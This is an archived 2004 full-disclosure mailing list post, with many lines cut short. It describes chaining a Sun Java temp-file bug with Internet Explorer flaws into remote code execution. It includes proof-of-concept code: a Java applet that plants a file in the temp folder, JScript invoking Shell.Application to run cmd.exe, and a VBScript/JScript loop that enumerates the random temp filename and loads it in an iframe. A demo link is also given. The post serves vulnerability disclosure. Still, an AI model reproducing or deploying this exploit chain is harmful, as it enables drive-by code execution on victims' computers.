|
From: Jelmer <jkuperus@planet.nl>
Date: Fri Jul 09 2004 - 08:01:10 EDT
INTRODUCTION
Actually I wasn't really sure if I ought to post this, but after some
There's a very minor issue with the way the sun java virtual machine creates
DETAILS
A couple of days back Marc Schoenefeld posted an advisory about an
My partner in crime HTTP-EQUIV was investigating this report when he noticed
+~JFxxxxx.tmp
Where xxxxx is a random 5 digit number, He mailed me to say hey take a look
I decompiled marcs class and noticed that the .tmp file being created
Now If you can create a file on someone's disk drive and get your browser to
Ok creating an applet that creates the file on a users disk drive is trivial
import java.applet.Applet;
import java.awt.Font;
import java.net.URL;
import netscape.javascript.JSObject;
public class Jelmer extends Applet {
public void init() {
try {
Font f = Font.createFont(Font.TRUETYPE_FONT, new
} catch(Exception ignored) {}
try {
JSObject jsWin = JSObject.getWindow(this);
jsWin.call("doneloading", new Object[]{});
} catch(Exception e) {
e.printStackTrace();
}
}
}
This applet creates the file from the url it get's passed as a parameter and
We opt to store a file with these contents to the temp
<script language=JScript>
o=new ActiveXObject('Shell.Application');
o.ShellExecute('cmd.exe','/c pause');
</script>
Http-equiv's jan 1 Shell.Application bug
http://www.securityfocus.com/archive/1/348688/2003-12-31/2004-01-06/0
Now we have to deal with the random filename, no problem, modern computers
Using an old bug
<script language="vbscript">
Function Exists(filename)
On Error Resume Next
LoadPicture(filename)
Exists = Err.Number = 481
End Function
</script>
<script language="JScript">
function doneloading() {
dir = 'C:\\Documents and Settings\\USERNAME\\Local Settings\\Temp\\'
for (i=0;i<100000;i++) {
filename = '+~JF' + i + '.tmp'
if (Exists(dir + filename)) {
document.body.insertAdjacentHTML('afterBegin', '<iframe
}
}
}
</script>
Bang! We would have remote code execution, well at least if we'd know the
It's the final ingredient we needed
DEMO
http://poc.homedns.org/execute.htm
I am aware that this demo will work for some and won't for others, I haven't
CONCLUSION
Well what can I say.. I am not even sure if I can blame sun for this, in any
For the love of god people, just stop using IE
Shell.application bug : 7 months old
Local fine enumeration bug : 6 months old
zone spoofing bug : 1 months old
Insecure by design : timeless
In reflection this week an issue was found with the mozilla web browser, it
first discussed FD mailing list: Wed, 7 Jul 2004 11:26:19 -0500
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023573.html
Followup 24 hours later onf FD mailing list: Thu, 8 Jul 2004 15:20:52 -0400
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023639.html
Mozzila Patch annoucement same day on FD:Thu, 8 Jul 2004 22:36:48 GMT
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023645.html
_______________________________________________
This archive was generated by hypermail 2.1.8 : Fri Jul 09 2004 - 10:02:44 EDT |
Custom Search
|